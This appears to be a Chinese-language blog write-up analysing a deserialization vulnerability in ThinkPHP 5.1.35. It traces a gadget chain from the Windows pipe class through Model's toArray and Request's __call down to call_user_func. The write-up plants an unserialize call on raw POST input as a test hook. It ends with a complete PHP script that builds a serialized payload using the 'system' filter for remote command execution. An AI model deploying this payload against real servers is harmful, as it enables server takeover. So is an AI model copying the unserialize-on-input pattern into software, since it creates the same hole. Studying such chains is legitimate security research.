thinkphp 5.1.35 反序列化漏洞分析

这个框架漏洞需要二次开发的时候反序列化去触发,所以在/public/index.php中加入触发代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// [ 应用入口文件 ]
namespace think;

// 加载基础文件
require __DIR__ . '/../thinkphp/base.php';

// 支持事先使用静态方法设置Request对象和Config对象

// 执行应用并响应
Container::get('app')->run()->send();
$str = base64_decode($_POST['key']);
unserialize($str);

然后开始分析,反序列化漏洞第一步都是去找__destruct析构函数,全局搜索,这里用到的是/thinkphp/library/think/process/pipes/Windows.php

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟进removeFiles

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

里边有file_exists,在处理filename时会当成字符串来处理,所以我们可以传入一个类,然后去调用它的__toString方法,全局搜索之

来到/thinkphp/library/think/model/concern/Conversion.php

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

跟进toArray, 如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function toArray()
{
$item = [];
$hasVisible = false;
......
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
......
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

其中$this->append作为类的属性是可控的,所以 $relation$name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板 ,接下来看一看怎样传值,跟进getRelation()

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

发现返回值始终为NULL,也就是说无论怎样都会进入if内,所以跟进getAttr()

1
2
3
4
5
6
7
8
9
10
11
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
}

跟进getData()

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

从 getAttr —> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name],我们需要的 $data$append 分别位于 Attribute 和 Conversion,且两者都是 trait 类型 Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载

所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类 ,经过寻找,找到了/thinkphp/library/think/Model.php

1
2
3
4
5
6
7
8
9
10
11
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

. . . . . .

}

接下来需要找的就是没有visible()但有__call()的类,去触发命令执行

找到 /thinkphp/library/think/Request.php 中的 Request 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Request
{

. . . . . .

/**
* 扩展方法
* @var array
*/
protected $hook = [];

. . . . . .

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

. . . . . .

}

但是array_unshift 函数会把若干元素前置到数组的开头 ,这样就很难执行命令了,所以需要新的跳板,Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value$filters 好执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
......
}
}

return $value;
}

查看调用了filterValue的函数, Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function input($data = [], $name = '', $default = null, $filter = '')
{
......

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
......

return $data;
}

再查找调用了input函数的函数,找到了param函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 public function param($name = '', $default = null, $filter = '')
{

. . . . . .

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

再往上找调用点,最后找到了isAjax这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

可以看出,$this->config['var_ajax']是可控的, 这里 $ajax 参数没有对类型的限制,而且 param 的参数来自 $this->config,是可控的,param 在最后所调用的 input 函数的 $this->param, $name 就都可控

调用栈为

1
__call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

这样就得到了一条可控的利用链

  1. 通过 Windows 类 __destruct() 方法调用到 file_exists 触发某类的 __toString() 来到 toArray() 函数
  2. 通过控制分别位于 Attribute 和 Conversion 的 $data$append 变量执行在 Request 中不存在的 visible 函数进而触发其 __call()
  3. 在 Request 通过控制 $hook $filter $config 三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令

构造payload

由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以只好用它了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>[""]];
$this->data = ["a"=>new Request()];
}
}

namespace think\model;
use think\Model;
class Pivot extends Model
{

}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think;
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
0%